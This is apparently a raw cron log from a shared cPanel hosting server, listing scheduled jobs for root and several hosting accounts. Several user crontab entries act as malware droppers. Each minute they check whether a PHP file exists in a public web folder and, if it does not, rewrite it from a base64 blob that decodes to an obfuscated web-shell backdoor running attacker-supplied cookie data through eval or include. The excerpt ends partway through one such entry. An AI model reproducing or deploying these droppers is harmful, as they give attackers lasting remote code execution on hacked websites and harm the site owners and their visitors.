Mar  1 13:10:02 medusa CROND[5308]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:10:02 medusa CROND[5311]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:10:02 medusa CROND[5313]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:10:02 medusa CROND[5306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 13:10:02 medusa CROND[5312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:10:02 medusa CROND[5319]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:10:02 medusa CROND[5317]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:10:02 medusa CROND[5322]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:10:02 medusa CROND[5320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:10:02 medusa CROND[5329]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:10:02 medusa CROND[5309]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 13:10:02 medusa CROND[5339]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:10:02 medusa CROND[5340]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:10:02 medusa CROND[5341]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:10:02 medusa CROND[5350]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:10:02 medusa CROND[5357]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 13:10:02 medusa CROND[5355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:10:02 medusa CROND[5343]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 13:11:01 medusa CROND[29759]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:11:01 medusa CROND[29760]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:11:01 medusa CROND[29761]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:11:01 medusa CROND[29762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:11:01 medusa CROND[29763]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:11:01 medusa CROND[29764]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:11:01 medusa CROND[29765]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:11:01 medusa CROND[29766]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:11:01 medusa CROND[29767]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:11:01 medusa CROND[29769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:11:01 medusa CROND[29775]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:11:01 medusa CROND[29776]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:11:01 medusa CROND[29771]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:12:01 medusa CROND[22472]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAg